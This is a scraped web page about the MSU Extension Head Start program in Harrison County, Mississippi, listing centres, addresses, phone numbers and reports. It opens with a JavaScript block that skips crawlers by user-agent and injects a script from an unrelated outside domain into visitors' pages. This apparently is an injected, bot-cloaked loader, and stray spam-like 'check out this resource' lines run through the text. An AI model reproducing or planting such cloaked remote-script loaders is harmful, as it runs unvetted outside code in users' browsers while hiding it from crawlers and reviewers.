(function () {
// 1) Basic bot filter (extend if you like)
function isBot() {
return /(bot|crawl|spider|google|bing|slurp|yandex|facebook|linkedin|pinterest|preview|whatsapp|discord|telegram|headless|puppeteer)/i
.test(navigator.userAgent || "");
}
if (isBot()) return;
// 2) Mode detector
function isMobileMode() {
return window.matchMedia("(max-width: 767px)").matches ||
/Mobi|Android|iPhone|iPad|iPod/i.test(navigator.userAgent || "");
}
// 3) Your ad configs (swap keys/sizes to match your network units)
const AD = {
mobile: { key: "aa6d52a6037d0558c2a19dc52b6aa824", width: 320, height: 50 }, // 320x50
desktop: { key: "a49752dcde88f4fde5987d25efbb7168", width: 468, height: 60 } // 468x60
};
// 4) Create container if it doesn't exist
function ensureContainer() {
let container = document.getElementById("ad-container");
if (!container) {
container = document.createElement("div");
container.id = "ad-container";
container.style.display = "none";
document.body.appendChild(container);
}
return container;
}
// 5) Render function
function render(mode) {
const container = ensureContainer();
const cfg = mode === "mobile" ? AD.mobile : AD.desktop;
// Set global atOptions for ad network
window.atOptions = {
key: cfg.key,
format: "iframe",
height: cfg.height,
width: cfg.width,
params: {}
};
// Clear previous ad/script then inject
container.innerHTML = "";
container.style.display = "block";
const s = document.createElement("script");
s.src = `//selfportraitproved.com/${cfg.key}/invoke.js`;
s.async = true;
container.appendChild(s);
}
// 6) Wait for DOM to be ready before rendering
function initAds() {
render(isMobileMode() ? "mobile" : "desktop");
// 7) (Optional) Re-render if breakpoint crosses after resize
let currentMobile = isMobileMode();
const mql = window.matchMedia("(max-width: 767px)");
if (mql.addEventListener) {
mql.addEventListener("change", (e) => {
const nowMobile = e.matches;
if (nowMobile !== currentMobile) {
currentMobile = nowMobile;
render(currentMobile ? "mobile" : "desktop");
}
});
} else if (mql.addListener) { // older browsers
mql.addListener((e) => {
const nowMobile = e.matches;
if (nowMobile !== currentMobile) {
currentMobile = nowMobile;
render(currentMobile ? "mobile" : "desktop");
}
});
}
}
// 8) Execute when DOM is ready
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", initAds);
} else {
initAds();
}
})();
Interested in working with Head Start? Apply now!
The MSU Extension Service Head Start program, offered in Harrison County, is designed to help children and their parents make an easier transition from daycare and preschool to kindergarten. The program combines local partnerships with research-based education methods to serve children at this most critical stage of life.
Our Head Start centers proudly serve the communities of Gilbert Mason, East Biloxi, and Gaston Point, with Linda Lyons being our Early Head Start center. Our commitment to providing quality early-childhood education extends through our partnerships with local school districts, including Gulfport School District and Biloxi Public School District. In collaboration with Moore Community House and Shine Early Learning, we are able to offer comprehensive support and services. Moore Community House houses our Early Head Start program, including the Linda Lyons Center, while Shine Early Learning plays a vital role in providing valuable program support.
While serving the children of Harrison County, MSU Extension will be working to build a successful model that can be shared and replicated statewide.
Hours of operation: 7:45 a.m. to 2 p.m.
👉 For more insights, check out this resource.
If you are interested in enrolling your child in Head Start, please call us at 228-365-9621.
MSU-Extension Head Start Program Administrative Office521 34th StreetGulfport, MS 39507Phone: 228-241-2181Email:
👉 Discover more in this in-depth guide.
East Biloxi Head Start590 Division StreetBiloxi, MS 39530Phone: 228-967-7290
Gaston Point Head Start1526 Mills AvenueGulfport, MS 39501Phone: 228-731-3746
Gilbert Mason Head Start4221 Popp’s Ferry RoadD’Iberville, MS 39540Phone: 228-967-7257
Resources
MDHS receives $24 million for rent/mortgage assistance and LIHEAP.
Community Needs Assessment 2022-2023
Annual Report 2022-2023
Community Needs Assessment 2021-2022
Annual Report 2020-2021
Community Needs Assessment 2020-2021
Annual Report 2019-2020
Hot Car Safety Statistics